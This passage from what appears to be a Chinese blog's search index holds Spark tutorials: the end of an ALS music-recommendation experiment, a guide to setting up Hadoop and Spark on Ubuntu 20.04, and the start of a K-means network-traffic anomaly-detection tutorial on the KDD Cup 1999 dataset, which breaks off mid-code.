model.transform) print((mostListenedAUC,(5,0.0001,1.0)))except: print((\"ERROR\",(5,0.0001,1.0)))try: model=ALSModel.load(\"/model/ALS/Try2/4\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(5,0.0001,40.0)))except: print((\"ERROR\",(5,0.0001,40.0)))try: model=ALSModel.load(\"/model/ALS/Try2/5\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(30,4.0,1.0)))except: print((\"ERROR\",(30,4.0,1.0)))try: model=ALSModel.load(\"/model/ALS/Try2/6\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(30,4.0,40.0)))except: print((\"ERROR\",(30,4.0,40.0)))try: model=ALSModel.load(\"/model/ALS/Try2/7\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(30,0.0001,1.0)))except: print((\"ERROR\",(30,0.0001,1.0)))try: model=ALSModel.load(\"/model/ALS/Try2/8\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(30,0.0001,40.0)))except: print((\"ERROR\",(30,0.0001,40.0))) 输出结果： (Row(avg(auc)=0.9122637924972641), (5, 4.0, 1.0))(Row(avg(auc)=0.9154223563144587), (5, 4.0, 40.0))(Row(avg(auc)=0.9057761909633262), (5, 0.0001, 1.0))(Row(avg(auc)=0.9146676967584815), (5, 0.0001, 40.0))(Row(avg(auc)=0.9230010545570864), (30, 4.0, 1.0))(Row(avg(auc)=0.9275148741094371), (30, 4.0, 40.0))(Row(avg(auc)=0.9125799456221803), (30, 0.0001, 1.0))(Row(avg(auc)=0.9265221600644649), (30, 0.0001, 40.0)) 可以看出 rank=30，regParam=4.0，alpha=40.0 时取得了最优的结果 avg (auc)=0.9275148741094371. 虽然这些值的绝对差很小，但对于 AUC 值来说，仍然具有一定的意义。有意思的是，参数 alpha 取 40 的时候看起来总是比取 1 表现好。这说明了模型在强调用户听过什么时的表现要比强调用户没听过什么时要好。 产生推荐选取 10 个用户展示推荐结果 model=ALSModel.load(\"/model/ALS/Try2/6\")d=sc.parallelize([(2093760,1),(1000002,1),(1006277,1),(1006282,1),(1006283,1),(1006285,1),(1041207,1),(1071489,1),(2025005,1),(2025007,1),]).toDF(['user'])t=model.recommendForUserSubset(d,5)t.select(\"recommendations\").rdd.foreach(lambda x:print(x)) 输出推荐结果： Row(recommendations=[Row(item=1010991, rating=1.1815389394760132), Row(item=1245226, rating=1.139704942703247), Row(item=4629, rating=1.1092422008514404), Row(item=1113701, rating=1.1066040992736816), Row(item=1019715, rating=1.10056471824646)])Row(recommendations=[Row(item=1010921, rating=1.225757122039795), Row(item=1166169, rating=1.1972994804382324), Row(item=1183949, rating=1.184556007385254), Row(item=1082446, rating=1.178223729133606), Row(item=3892, rating=1.1580229997634888)])Row(recommendations=[Row(item=1028958, rating=1.146733283996582), Row(item=1086774, rating=1.1434733867645264), Row(item=1037761, rating=1.1272671222686768), Row(item=1184419, rating=1.1093372106552124), Row(item=1148170, rating=1.1065270900726318)])Row(recommendations=[Row(item=1010295, rating=1.2554553747177124), Row(item=3722, rating=1.2187168598175049), Row(item=1024674, rating=1.2044183015823364), Row(item=1009445, rating=1.099776268005371), Row(item=1018746, rating=1.0894378423690796)])Row(recommendations=[Row(item=1002068, rating=0.9575374126434326), Row(item=1005288, rating=0.9533681273460388), Row(item=2430, rating=0.9476644992828369), Row(item=1002270, rating=0.9428261518478394), Row(item=3909, rating=0.9334102869033813)])Row(recommendations=[Row(item=1034635, rating=0.606441080570221), Row(item=1000107, rating=0.6010327935218811), Row(item=1000024, rating=0.59807950258255), Row(item=4154, rating=0.5966558456420898), Row(item=1000157, rating=0.5944067239761353)])Row(recommendations=[Row(item=1034635, rating=0.290438175201416), Row(item=930, rating=0.2857869565486908), Row(item=4267, rating=0.2853849530220032), Row(item=1205, rating=0.2830250561237335), Row(item=1000113, rating=0.2829856276512146)])Row(recommendations=[Row(item=1002909, rating=1.2324668169021606), Row(item=1653, rating=1.1938585042953491), Row(item=988, rating=1.1880080699920654), Row(item=1003367, rating=1.1807997226715088), Row(item=1009545, rating=1.1761128902435303)])Row(recommendations=[Row(item=1017017, rating=0.8724791407585144), Row(item=1032349, rating=0.8424116373062134), Row(item=1028433, rating=0.8259942531585693), Row(item=1240603, rating=0.8185747265815735), Row(item=1029602, rating=0.8147093653678894)])Row(recommendations=[Row(item=1013187, rating=1.2516499757766724), Row(item=1098360, rating=1.2394661903381348), Row(item=1289948, rating=1.2353206872940063), Row(item=1129243, rating=1.2332189083099365), Row(item=1245184, rating=1.1997216939926147)]) 按照用户顺序将最喜欢的推荐结果输出到文件 def getp(x): f=open(\"/export/work/result\",\"a+\") print(x,file=f)u=uaDF.select(\"user\").distinct()t=model.recommendForUserSubset(u,1)t.rdd.foreach(lambda x:getp(x)) 推荐输出详见 result 文件，以下为部分推荐输出： Row(user=1000092, recommendations=[Row(item=1002400, rating=1.2386927604675293)]) Row(user=1000144, recommendations=[Row(item=5221, rating=1.1728830337524414)]) Row(user=3175, recommendations=[Row(item=1022207, rating=0.282743901014328)]) Row(user=1000164, recommendations=[Row(item=1034635, rating=0.36578264832496643)]) Row(user=7340, recommendations=[Row(item=1007903, rating=0.8722475171089172)])"},{"title":"","date":"2020-05-07T11:06:00.000Z","updated":"2022-05-10T02:10:00.000Z","comments":true,"path":"notes/Spark/env.html","permalink":"https://blog.mhuig.top/notes/Spark/env","excerpt":"Environment Deployment Spark 环境部署（Ubuntu20.04） Spark&nbsp; 在 Ubuntu20.04 中的配置","text":"Environment Deployment Spark 环境部署（Ubuntu20.04） Spark&nbsp; 在 Ubuntu20.04 中的配置 实验环境 实验环境 Ubuntu20.04 LTSHadoop 2.6.0-cdh5.14.0Java 1.8.0_141Python3.8.2(default)Spark 3.0.0-preview2 配置 java 环境解压安装 jdk tar -zxvf jdk-8u141-linux-x64.tar.gz -C ../servers/ 配置环境变量 nano /etc/profile /etc/profileexport JAVA_HOME=/export/servers/jdk1.8.0_141export PATH=:$JAVA_HOME/bin:$PATH 修改完成之后记得 &nbsp;reboot -h now 或 source/etc/profile 生效 验证 jps 配置 Hadoop 环境下载解压Hadoop 2 可以通过 &nbsp;https://mirrors.cnnic.cn/apache/hadoop/common/&nbsp; 下载 将 Hadoop 安装至 /usr/local/ 中： sudo tar -zxf hadoop-2.6.0.tar.gz -C /usr/local # 解压到/usr/local中cd /usr/local/sudo mv ./hadoop-2.6.0/ ./hadoop # 将文件夹名改为hadoopsudo chown -R hadoop ./hadoop # 修改文件权限 Hadoop 伪分布式配置伪分布式需要修改 2 个配置文件 &nbsp;core-site.xml&nbsp; 和 &nbsp;hdfs-site.xml core-site.xmlcore-site.xml&lt;configuration&gt; &lt;property&gt; &lt;name&gt;hadoop.tmp.dir&lt;/name&gt; &lt;value&gt;file:/usr/local/hadoop/tmp&lt;/value&gt; &lt;description&gt;Abase for other temporary directories.&lt;/description&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;fs.defaultFS&lt;/name&gt; &lt;value&gt;hdfs://localhost:9000&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; hdfs-site.xmlhdfs-site.xml&lt;configuration&gt; &lt;property&gt; &lt;name&gt;dfs.replication&lt;/name&gt; &lt;value&gt;1&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.name.dir&lt;/name&gt; &lt;value&gt;file:/usr/local/hadoop/tmp/dfs/name&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.datanode.data.dir&lt;/name&gt; &lt;value&gt;file:/usr/local/hadoop/tmp/dfs/data&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 配置 JAVA_HOME到 hadoop 的安装目录修改配置文件 “/usr/local/hadoop/etc/hadoop/hadoop-env.sh”，在里面找到 “export JAVA_HOME=${JAVA_HOME}” 这行，然后，把它修改成 JAVA 安装路径的具体地址 NameNode 格式化cd /usr/local/hadoop./bin/hdfs namenode -format 开启 NameNode 和 DataNode 守护进程cd /usr/local/hadoop./sbin/start-dfs.sh 安装 Spark打开浏览器，访问 Spark 官方下载地址 由于我们已经自己安装了 Hadoop，所以，在 Choose a package type 后面需要选择 Pre-build with user-provided Hadoop将 spark 解压到 /usr/local, 并重命名为 spark修改 Spark 的配置文件 spark-env.sh cd /usr/local/sparkcp ./conf/spark-env.sh.template ./conf/spark-env.sh 编辑 spark-env.sh 文件，在第一行添加以下配置信息: spark-env.shexport SPARK_DIST_CLASSPATH=$(/usr/local/hadoop/bin/hadoop classpath) 修改环境变量 /etc/profileexport HADOOP_HOME=/usr/local/hadoopexport SPARK_HOME=/usr/local/sparkexport PYTHONPATH=$SPARK_HOME/python:$SPARK_HOME/python/lib/py4j-0.10.4-src.zip:$PYTHONPATHexport PYSPARK_PYTHON=python3export PATH=$HADOOP_HOME/bin:$SPARK_HOME/bin:$PATH 运行 Spark 自带的示例，验证 Spark 是否安装成功 使用 Spark 计算 PI（3.1415926....） cd /usr/local/sparkbin/run-example SparkPi grep 命令进行过滤 bin/run-example SparkPi 2&gt;&amp;1 | grep \"Pi is\""},{"title":"","date":"2022-05-10T02:10:00.000Z","updated":"2022-05-10T02:10:00.000Z","comments":true,"path":"notes/Spark/index.html","permalink":"https://blog.mhuig.top/notes/Spark/","excerpt":"","text":".fa-secondary{opacity:.4} Spark Spark .prev-next{ display: none !important; }"},{"title":"","date":"2020-08-02T10:23:00.000Z","updated":"2022-05-10T02:11:00.000Z","comments":true,"path":"notes/Spark/k-means.html","permalink":"https://blog.mhuig.top/notes/Spark/k-means","excerpt":"","text":"K-Means 基于 K 均值聚类的网络流量异常检测 (pyspark) 异常检测常用于检测欺诈、网络攻击、服务器及传感设备故障。在这些应用中，我们要能够找出以前从未见过的新型异常，如新欺诈方式、新入侵方法或新服务器故障模式。 数据集KDD Cup 1999 数据集 下载 KDD Cup 1999 数据集 数据集为 CSV 格式，每个连接占一行，包含 38 个特征。 单行示例： 0,tcp,http,SF,239,486,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,8,8,0.00,0.00,0.00,0.00,1.00,0.00,0.00,19,19,1.00,0.00,0.05,0.00,0.00,0.00,0.00,0.00,normal. 最后的字段表示类别标号。大多数标号为 normal.， 但也有一些样本代表各种网络攻击。 算法K 均值聚类算法聚类算法是指将一堆没有标签的数据自动划分成几类的方法，这个方法要保证同一类的数据有相似的特征。 算法过程K-Means 算法的特点是类别的个数是人为给定的。是一个迭代求解的聚类算法，属于划分型的聚类方法，即首先创建 K 个划分，然后迭代地将样本从一个划分转移到另一个划分来改善最终聚类的效果。其过程大致如下。 （1）根据给定的 K 值选取 K 个样本点作为初始划分中心。 （2）计算所有样本点到每一个划分中心的距离，并将所有样本点划分到距离最近的划分中心。 （3）计算每个划分中样本点的平均值，并将其作为新的中心。 （4）循环进行步骤（2）和步骤（3）直至最大迭代次数，或划分中心的变化小于某一预定义阈值。 伪代码function K-Means(输入数据，中心点个数K) 获取输入数据的维度Dim和个数N 随机生成K个Dim维的点 while(算法未收敛) 对N个点：计算每个点属于哪一类。 对于K个中心点： 1，找出所有属于自己这一类的所有数据点 2，把自己的坐标修改为这些数据点的中心点坐标 end 输出结果end K-Means 的一个重要的假设是：数据之间的相似度可以使用欧氏距离度量，如果不能使用欧氏距离度量，要先把数据转换到能用欧氏距离度量，这一点很重要。可以使用欧氏距离度量的意思就是欧氏距离越小，两个数据相似度越高。 假设簇划分为（,,…）, 则优化目标是最小化平方误差 SSE: 其中是簇的均值向量，也称为质心，表达式为： 这是一个 NP 难题，因此只能采用启发式迭代方法。 K-Means 采用的启发式方式很简单，用下面一组图就可以形象的描述: 图 a 表达了初始的数据集，假设 k=2。在图 b 中，随机选择了两个 k 类所对应的类别质心，即图中的红色质心和蓝色质心，然后分别求样本中所有点到这两个质心的距离，并标记每个样本的类别为和该样本距离最小的质心的类别，如图 c 所示，经过计算样本和红色质心和蓝色质心的距离，得到了所有样本点的第一轮迭代后的类别。此时对当前标记为红色和蓝色的点分别求其新的质心，如图 d 所示，新的红色质心和蓝色质心的位置已经发生了变动。图 e 和图 f 重复了在图 c 和图 d 的过程，即将所有点的类别标记为距离最近的质心的类别并求新的质心。最终得到的两个类别如图 f。 K-means 聚类最优 k 值的选取（手肘法）手肘法的核心指标是 SSE (sum of the squared errors，误差平方和), 公式见上文。 核心思想是：随着聚类数 k 的增大，样本划分会更加精细，每个簇的聚合程度会逐渐提高，那么误差平方和 SSE 自然会逐渐变小。并且，当 k 小于真实聚类数时，由于 k 的增大会大幅增加每个簇的聚合程度，故 SSE 的下降幅度会很大，而当 k 到达真实聚类数时，再增加 k 所得到的聚合程度回报会迅速变小，所以 SSE 的下降幅度会骤减，然后随着 k 值的继续增大而趋于平缓，也就是说 SSE 和 k 的关系图是一个手肘的形状，而这个肘部对应的 k 值就是数据的真实聚类数。 特征的规范化去除数据的单位限制，将其转化为无量纲的纯数值，便于不同单位或量级的指标能够进行计算和比较。 1、数据的中心化 所谓数据的中心化是指数据集中的各项数据减去数据集的均值。 2、数据的标准化 所谓数据的标准化是指中心化之后的数据在除以数据集的标准差，即数据集中的各项数据减去数据集的均值再除以数据集的标准差。 特征的规范化可以通过将每个特征转换为标准得分来完成。这就是说用对每个特征值求平均，用每个特征值减去平均值，然后除以特征值的标准差，如下标准分计算公式所示： 类别型变量类别型特征可以用 one-hot 编码转换为几个二元特征，这几个二元特征可以看成数值型维度。 使用 N 位状态寄存器来对 N 个状态进行编码，每个状态都由他独立的寄存器位，并且在任意时候，其中只有一位有效。 解决了分类器不好处理属性数据的问题；在一定程度上也起到了扩充特征的作用。 聚类结果评价指标Entropy（熵）好的聚类应该和人工标签保持一致，大部分情况下，标签相同的数据点应聚在一起，而标签不同的数据点不应该在一起，并且簇内的数据点标签相同。熵值会变得很小。 对于一个聚类 i，首先计算聚类 i 中的成员（member）属于类（class）j 的概率其中是在聚类 i 中所有成员的个数，是聚类 i 中的成员属于类 j 的个数。 每个聚类的 entropy 可以表示为其中 L 是类（class）的个数。 整个聚类划分的 entropy 为其中 K 是聚类（cluster）的数目，m 是整个聚类划分所涉及到的成员个数。 Accuracy (准确率)比较每一条聚类结果是否和真的结果一致. 其中 N 表示文档总数，表示正确聚类的文档数. 实验过程准备数据，上传至 HDFSHDFS 创建文件夹 hadoop 关闭安全模式 上传 KDD Cup 1999 数据集 查看上传成功 通过 kddcup.names 加载列名称names=[]with open(\"/export/work/F/3/data/kddcup.names\") as f: line = f.readline() line = f.readline() while line: names.append(line.split(\":\")[0]) line = f.readline()names.append(\"label\") 输出列名称： ['duration', 'protocol_type', 'service', 'flag', 'src_bytes', 'dst_bytes', 'land', 'wrong_fragment', 'urgent', 'hot', 'num_failed_logins', 'logged_in', 'num_compromised', 'root_shell', 'su_attempted', 'num_root', 'num_file_creations', 'num_shells', 'num_access_files', 'num_outbound_cmds', 'is_host_login', 'is_guest_login', 'count', 'srv_count', 'serror_rate', 'srv_serror_rate', 'rerror_rate', 'srv_rerror_rate', 'same_srv_rate', 'diff_srv_rate', 'srv_diff_host_rate', 'dst_host_count', 'dst_host_srv_count', 'dst_host_same_srv_rate', 'dst_host_diff_srv_rate', 'dst_host_same_src_port_rate', 'dst_host_srv_diff_host_rate', 'dst_host_serror_rate', 'dst_host_srv_serror_rate', 'dst_host_rerror_rate', 'dst_host_srv_rerror_rate', 'label'] 构建 Dataframenames=['duration', 'protocol_type', 'service', 'flag', 'src_bytes', 'dst_bytes', 'land', 'wrong_fragment', 'urgent', 'hot', 'num_failed_logins', 'logged_in', 'num_compromised', 'root_shell', 'su_attempted', 'num_root', 'num_file_creations', 'num_shells', 'num_access_files', 'num_outbound_cmds', 'is_host_login', 'is_guest_login', 'count', 'srv_count', 'serror_rate', 'srv_serror_rate', 'rerror_rate', 'srv_rerror_rate', 'same_srv_rate', 'diff_srv_rate', 'srv_diff_host_rate', 'dst_host_count', 'dst_host_srv_count', 'dst_host_same_srv_rate', 'dst_host_diff_srv_rate', 'dst_host_same_src_port_rate', 'dst_host_srv_diff_host_rate', 'dst_host_serror_rate', 'dst_host_srv_serror_rate', 'dst_host_rerror_rate', 'dst_host_srv_rerror_rate', 'label']from pyspark.sql.types import Rowfrom pyspark.sql.types import StructTypefrom pyspark.sql.types import StructFieldfrom pyspark.sql.types import StringTypefrom pyspark.sql.types import FloatTypefrom pyspark.conf import SparkConffrom pyspark import SparkContextfrom pyspark.sql.session import SparkSession# 构建Dataframeconf = SparkConf().setAppName(\"applicaiton\").set(\"spark.executor.heartbeatInterval\",\"200000\").set(\"spark.network.timeout\",\"300000\")sc = SparkContext.getOrCreate(conf)spark = SparkSession(sc)testRDD = sc.textFile(\"/3/corrected\")fields = list(map( lambda fieldName : StructField(fieldName, StringType(), nullable = True) if fieldName in [\"protocol_type\", \"service\", \"flag\",\"label\"] else StructField(fieldName, FloatType(), nullable = True) , names))schema = StructType(fields)rowRDD = testRDD.map(lambda line : line.split(\",\")).map(lambda attr : Row(float(attr[0]),attr[1],attr[2],attr[3],float(attr[4]),float(attr[5]),float(attr[6]),float(attr[7]),float(attr[8]),float(attr[9]),float(attr[10]),float(attr[11]),float(attr[12]),float(attr[13]),float(attr[14]),float(attr[15]),float(attr[16]),float(attr[17]),float(attr[18]),float(attr[19]),float(attr[20]),float(attr[21]),float(attr[22]),float(attr[23]),float(attr[24]),float(attr[25]),float(attr[26]),float(attr[27]),float(attr[28]),float(attr[29]),float(attr[30]),float(attr[31]),float(attr[32]),float(attr[33]),float(attr[34]),float(attr[35]),float(attr[36]),float(attr[37]),float(attr[38]),float(attr[39]),float(attr[40]),attr[41]))testDF = spark.createDataFrame(rowRDD, schema)dataRDD = sc.textFile(\"/3/kddcup.data\")fields = list(map( lambda fieldName : StructField(fieldName, StringType(), nullable = True) if fieldName in [\"protocol_type\", \"service\", \"flag\",\"label\"] else StructField(fieldName, FloatType(), nullable = True) , names))schema = StructType(fields)rowRDD = dataRDD.map(lambda line : line.split(\",\")).map(lambda attr : Row(float(attr[0]),attr[1],attr[2],attr[3],float(attr[4]),float(attr[5]),float(attr[6]),float(attr[7]),float(attr[8]),float(attr[9]),float(attr[10]),float(attr[11]),float(attr[12]),float(attr[13]),float(attr[14]),float(attr[15]),float(attr[16]),float(attr[17]),float(attr[18]),float(attr[19]),float(attr[20]),float(attr[21]),float(attr[22]),float(attr[23]),float(attr[24]),float(attr[25]),float(attr[26]),float(attr[27]),float(attr[28]),float(attr[29]),float(attr[30]),float(attr[31]),float(attr[32]),float(attr[33]),float(attr[34]),float(attr[35]),float(attr[36]),float(attr[37]),float(attr[38]),float(attr[39]),float(attr[40]),attr[41]))dataDF = spark.createDataFrame(rowRDD, schema) 数据集统计统计数据集中各个类别标号以及每类样本有多少，并展示。 数据集的类别标号以及每类样本数 dataDF.groupBy(\"label\").count().show(10000)+----------------+-------+ | label| count|+----------------+-------+| warezmaster.| 20|| smurf.|2807886|| pod.| 264|| imap.| 12|| nmap.| 2316|| guess_passwd.| 53|| ipsweep.| 12481|| portsweep.| 10413|| satan.| 15892|| land.| 21|| loadmodule.| 9|| ftp_write.| 8||buffer_overflow.| 30|| rootkit.| 10|| warezclient.| 1020|| teardrop.| 979|| perl.| 3|| phf.| 4|| multihop.| 7|| neptune.|1072017|| back.| 2203|| spy.| 2|| normal.| 972781|+----------------+-------+ 测试集的类别标号以及每类样本数 testDF.groupBy(\"label\").count().show(10000) +----------------+------+| label| count|+----------------+------+| snmpguess.| 2406|| xlock.| 9|| warezmaster.| 1602|| processtable.| 759|| smurf.|164091|| pod.| 87|| worm.| 2|| snmpgetattack.| 7741|| mscan.| 1053|| nmap.| 84|| imap.| 1|| xterm.| 13|| sqlattack.| 2|| guess_passwd.| 4367|| mailbomb.| 5000|| xsnoop.| 4|| ipsweep.| 306|| portsweep.| 354|| named.| 17|| satan.| 1633|| land.| 9|| loadmodule.| 2|| ftp_write.| 3|| sendmail.| 17||buffer_overflow.| 22|| httptunnel.| 158|| apache2.| 794|| saint.| 736|| rootkit.| 13|| teardrop.| 12|| perl.| 2|| phf.| 2|| multihop.| 18|| udpstorm.| 2|| neptune.| 58001|| back.| 1098|| ps.| 16|| normal.| 60593|+----------------+------+ 尝试聚类from pyspark.ml import Pipeline,PipelineModelfrom pyspark.ml.clustering import KMeans,KMeansModelfrom pyspark.ml.feature import VectorAssemblerfrom pyspark.sql import DataFrameimport random 用 VectorAssembler 创建一个特征向量，基于这些特征向量用一个 K 均值实现来创建一个模型，再用一个管道将它们拼接在一起。从得到的模型中，可以提取并检验簇群中心。 numericOnly = dataDF.drop(\"protocol_type\", \"service\", \"flag\").cache()assembler = VectorAssembler(inputCols=numericOnly.drop(\"label\").columns, outputCol=\"featureVector\")kmeans = KMeans().setPredictionCol(\"cluster\").setFeaturesCol(\"featureVector\")pipeline = Pipeline().setStages([assembler, kmeans])pipelineModel = pipeline.fit(numericOnly)kmeansModel = pipelineModel.stages[-1]for i in kmeansModel.clusterCenters():print(i) 输出： [4.83401949e+01 1.83462154e+03 8.26203195e+02 5.71611720e-06 6.48779303e-04 7.96173468e-06 1.24376586e-02 3.20510858e-05 1.43529049e-01 8.08830584e-03 6.81851124e-05 3.67464677e-05 1.29349608e-02 1.18874823e-03 7.43095237e-05 1.02114351e-03 0.00000000e+00 4.08294086e-07 8.35165553e-04 3.34973508e+02 2.95267146e+02 1.77970317e-01 1.78036989e-01 5.76648988e-02 5.77299094e-02 7.89884132e-01 2.11796105e-02 2.82608102e-02 2.32981078e+02 1.89214283e+02 7.53713390e-01 3.07109788e-02 6.05051931e-01 6.46410786e-03 1.78091184e-01 1.77885898e-01 5.79276115e-02 5.76592214e-02][1.09990000e+04 0.00000000e+00 1.30993741e+09 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 1.00000000e+00 1.00000000e+00 0.00000000e+00 0.00000000e+00 1.00000000e+00 1.00000000e+00 1.00000000e+00 0.00000000e+00 0.00000000e+00 2.55000000e+02 1.00000000e+00 0.00000000e+00 6.49999976e-01 1.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 1.00000000e+00 1.00000000e+00] 对这些数字做一个直观的解释并不容易，但是每一个数字都表示模型生成的一个簇群中心，也称为质心（centroid）。就每个数值输入特征而言，这些值是质心的坐标。 k 的选择如果每个数据点都紧靠最近的质心，则可认为聚类是较优的。这里的 “近” 采用欧氏距离定义。这是评估聚类质量的一种简单又常用的方法，使用与所有点之间距离的平均值，有时也可以使用平方距离的平均值。实际上，KMeansModel 提供了一个 computeCost 方法来计算平方距离的总和，并且很容易用来计算平方距离的平均值。 numericOnly = dataDF.drop(\"protocol_type\", \"service\", \"flag\").cache()# computeCost 方法来计算平方距离的总和，并且很容易用来计算平方距离的平均值。def clusteringScore0(data,k): assembler = VectorAssembler(inputCols=data.drop(\"label\").columns, outputCol=\"featureVector\") kmeans = KMeans().setSeed(int(random.random()*10)).setK(k).setPredictionCol(\"cluster\").setFeaturesCol(\"featureVector\") #.setMaxIter(40).setTol(1.0e-5) pipeline = Pipeline().setStages([assembler, kmeans]) pipelineModel = pipeline.fit(data) kmeansModel = pipelineModel.stages[-1] Srore=kmeansModel.computeCost(assembler.transform(data)) / data.count() return Srorefor k in range(20, 100, 20): print([k, clusteringScore0(numericOnly, k)]) 输出结果： [20, 148277112.23861197] [40, 49940659.143821806][60, 18265796.561388526][80, 15313289.324247833] 输出结果显示得分随着 k 的增加而降低。 增加迭代时间可以优化聚类结果。算法提供了 setTol () 来设置一个阈值，该阈值控制聚类过程中簇质心进行有效移动的最小值。降低该阈值能使质心继续移动更长的时间。使用 setMaxIter () 增加最大迭代次数也可以防止它过早停止，代价是可能需要更多的计算。 def clusteringScore1(data,k): assembler = VectorAssembler(inputCols=data.drop(\"label\").columns, outputCol=\"featureVector\") kmeans = KMeans().setSeed(int(random.random()*10)).setK(k).setPredictionCol(\"cluster\").setFeaturesCol(\"featureVector\").setMaxIter(40).setTol(1.0e-5) pipeline = Pipeline().setStages([assembler, kmeans]) pipelineModel = pipeline.fit(data) kmeansModel = pipelineModel.stages[-1] Srore=kmeansModel.computeCost(assembler.transform(data)) / data.count() return Srorefor k in range(20, 120, 20): print([k, clusteringScore1(numericOnly, k)]) 输出结果： [20, 148277112.23861197] [40, 11564470.915401561][60, 16343181.409780543][80, 22323383.079484705][100, 7572838.84573523] 糟糕的情况是，前面的结果中 k=80 时的距离居然比 k=60 的距离大。这不应该发生，因为 k 取更大值时，聚类的结果应该至少与 k 取一个较小值时的结果一样好。问题的原因在于，这种给定 k 值的 K 均值算法并不一定能得到最优聚类。K 均值的迭代过程是从一个随机点开始的，因此可能收敛于一个局部最小值，这个局部最小值可能还不错，但并不是全局最优的。 在 k 过了 100 这个点之后得分下降还是很明显，所以 k 的拐点值应该大于 100。 特征的规范化特征的规范化可以通过将每个特征转换为标准得分来完成。这就是说用对每个特征值求平均，用每个特征值减去平均值，然后除以特征值的标准差。 由于减去平均值相当于把所有数据点沿相同方法移动相同距离，不影响点之间的欧氏距离，所以实际上减去平均值对聚类结果没有影响。 from pyspark.ml.feature import StandardScalerdef clusteringScore2(data,k): assembler = VectorAssembler(inputCols=data.drop(\"label\").columns, outputCol=\"featureVector\") scaler = StandardScaler(inputCol=\"featureVector\", outputCol=\"scaledFeatureVector\", withStd=True, withMean=False) kmeans = KMeans().setSeed(int(random.random()*10)).setK(k).setPredictionCol(\"cluster\").setFeaturesCol(\"scaledFeatureVector\").setMaxIter(40).setTol(1.0e-5) pipeline = Pipeline().setStages([assembler,scaler,kmeans]) pipelineModel = pipeline.fit(data) kmeansModel = pipelineModel.stages[-1] Srore=kmeansModel.computeCost(pipelineModel.transform(data)) / data.count() return Srorefor k in range(60, 300, 30): print([k, clusteringScore2(numericOnly, k)]) 这有助于将维度放到更平等的基准上，而且在绝对的意义上，看点之间的绝对距离（也就是代价）要小得多。然而，k 值还没有出现一个明显的点，超过该点后，增加 k 值对于改善代价没有明显的作用： [60, 1.1611941370693641][90, 0.7236962692254361][120, 0.5581874996147724][150, 0.3886887438817504][180, 0.3333248112741165][210, 0.27497680552057235][240, 0.2556693718314817][270, 0.22710138015576076] 类别型变量归一化使聚类结果有了可贵的进步，但聚类结果还有进一步提升的空间。比如说，几个特征由于不是数值型就被去掉了，于是这些特征里有价值的信息也被丢掉了。如果将这些信息以某种形式加回来，我们应该能得到更好的聚类。 类别型特征可以用 one-hot 编码转换为几个二元特征，这几个二元特征可以看成数值型维度。举个例子，数据集的第二列代表协议类型，取值可能是 tcp、udp 或 icmp。可以把它们看成 3 个特征，分别取名为 is_tcp、is_udp 和 is_icmp。这样，特征值 tcp 就变成 1,0,0，udp 对应 0,1,0，icmp 对应 0,0,1，以此类推。 from pyspark.ml.feature import OneHotEncoder, StringIndexer# 类别型特征可以用 one-hot 编码转换为几个二元特征，这几个二元特征可以看成数值型维度。def oneHotPipeline(inputCol): indexer = StringIndexer(inputCol=inputCol,outputCol=inputCol + \"_indexed\").setHandleInvalid(\"keep\") encoder = OneHotEncoder(inputCol=inputCol + \"_indexed\",outputCol=inputCol + \"_vec\") pipeline = Pipeline().setStages([indexer, encoder]) return (pipeline, inputCol + \"_vec\")def clusteringScore3(data,k): protoTypeEncoder, protoTypeVecCol = oneHotPipeline(\"protocol_type\") serviceEncoder, serviceVecCol = oneHotPipeline(\"service\") flagEncoder, flagVecCol = oneHotPipeline(\"flag\") assembleCols = (set(data.columns)-set([\"label\", \"protocol_type\", \"service\", \"flag\"])).union(set([protoTypeVecCol, serviceVecCol, flagVecCol])) assembler = VectorAssembler(inputCols=list(assembleCols), outputCol=\"featureVector\") scaler = StandardScaler(inputCol=\"featureVector\", outputCol=\"scaledFeatureVector\", withStd=True, withMean=False) kmeans = KMeans().setSeed(int(random.random()*10)).setK(k).setPredictionCol(\"cluster\").setFeaturesCol(\"scaledFeatureVector\").setMaxIter(40).setTol(1.0e-5) pipeline = Pipeline().setStages([protoTypeEncoder, serviceEncoder, flagEncoder, assembler, scaler, kmeans]) pipelineModel = pipeline.fit(data) kmeansModel = pipelineModel.stages[-1] Srore=kmeansModel.computeCost(pipelineModel.transform(data)) / data.count() return Srorefor k in range(60, 300, 30): print([k, clusteringScore3(dataDF, k)]) 输出： [60, 38.01382297522162][90, 16.419330083446177][120, 3.2093992442174235][150, 2.1454678299121843][180, 1.6142523558430413][210, 1.3533093788147306][240, 1.0616778921723296][270, 0.9068134376554267] 局部放大： 这些样本结果表明，从 k=180 这个点开始，评分值的变化趋于平缓。至少现在聚类使用了所有的输入特征。 利用标号的熵信息标签告诉我们每个数据点的真实性质。好的聚类应该和人工标签保持一致，大部分情况 下，标签相同的数据点应聚在一起，而标签不同的数据点不应该在一起，并且簇内的数据 点标签相同。 良好的聚类结果簇中样本类别大体相同，因而熵值较低。我们可以对各个簇的熵加权平均，将结果作为聚类得分： import numpydef entropy(x): ent = 0.0 x_value_list = [x[i] for i in range(x.shape[0])] n=sum(x_value_list) for x_value in x_value_list: p = float(x_value) / n ent -= p * numpy.log(p) return entdef fitPipeline4(data, k): protoTypeEncoder, protoTypeVecCol = oneHotPipeline(\"protocol_type\") serviceEncoder, serviceVecCol = oneHotPipeline(\"service\") flagEncoder, flagVecCol = oneHotPipeline(\"flag\") assembleCols = (set(data.columns)-set([\"label\", \"protocol_type\", \"service\", \"flag\"])).union(set([protoTypeVecCol, serviceVecCol, flagVecCol])) assembler = 